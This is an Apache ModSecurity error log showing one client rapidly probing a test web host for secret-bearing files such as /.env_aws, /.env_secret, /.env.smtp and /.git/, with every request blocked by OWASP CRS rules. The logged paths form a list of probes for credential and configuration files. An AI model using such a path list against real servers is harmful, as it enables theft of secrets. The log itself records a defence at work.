[Mon Jul 28 20:46:00.216205 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzQAAAAI&quot;]
[Mon Jul 28 20:46:00.216434 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzQAAAAI&quot;]
[Mon Jul 28 20:46:00.216628 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzQAAAAI&quot;]
[Mon Jul 28 20:46:00.239001 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzgAAAAI&quot;]
[Mon Jul 28 20:46:00.239149 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzgAAAAI&quot;]
[Mon Jul 28 20:46:00.239367 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzgAAAAI&quot;]
[Mon Jul 28 20:46:00.239559 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzgAAAAI&quot;]
[Mon Jul 28 20:46:00.262102 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.testing&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzwAAAAI&quot;]
[Mon Jul 28 20:46:00.262362 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzwAAAAI&quot;]
[Mon Jul 28 20:46:00.262558 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVpzwAAAAI&quot;]
[Mon Jul 28 20:46:00.284813 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.uat&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0AAAAAI&quot;]
[Mon Jul 28 20:46:00.285045 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0AAAAAI&quot;]
[Mon Jul 28 20:46:00.285255 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0AAAAAI&quot;]
[Mon Jul 28 20:46:00.307690 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_aws&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0QAAAAI&quot;]
[Mon Jul 28 20:46:00.307934 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0QAAAAI&quot;]
[Mon Jul 28 20:46:00.308129 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0QAAAAI&quot;]
[Mon Jul 28 20:46:00.330640 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0gAAAAI&quot;]
[Mon Jul 28 20:46:00.330895 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0gAAAAI&quot;]
[Mon Jul 28 20:46:00.331344 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0gAAAAI&quot;]
[Mon Jul 28 20:46:00.353807 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_copy&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0wAAAAI&quot;]
[Mon Jul 28 20:46:00.354041 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0wAAAAI&quot;]
[Mon Jul 28 20:46:00.354226 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp0wAAAAI&quot;]
[Mon Jul 28 20:46:00.376563 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_private&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1AAAAAI&quot;]
[Mon Jul 28 20:46:00.376791 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1AAAAAI&quot;]
[Mon Jul 28 20:46:00.376978 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1AAAAAI&quot;]
[Mon Jul 28 20:46:00.399783 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_secret&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1QAAAAI&quot;]
[Mon Jul 28 20:46:00.400140 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1QAAAAI&quot;]
[Mon Jul 28 20:46:00.400392 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1QAAAAI&quot;]
[Mon Jul 28 20:46:00.423041 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1gAAAAI&quot;]
[Mon Jul 28 20:46:00.423292 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1gAAAAI&quot;]
[Mon Jul 28 20:46:00.423509 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1gAAAAI&quot;]
[Mon Jul 28 20:46:00.446541 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1wAAAAI&quot;]
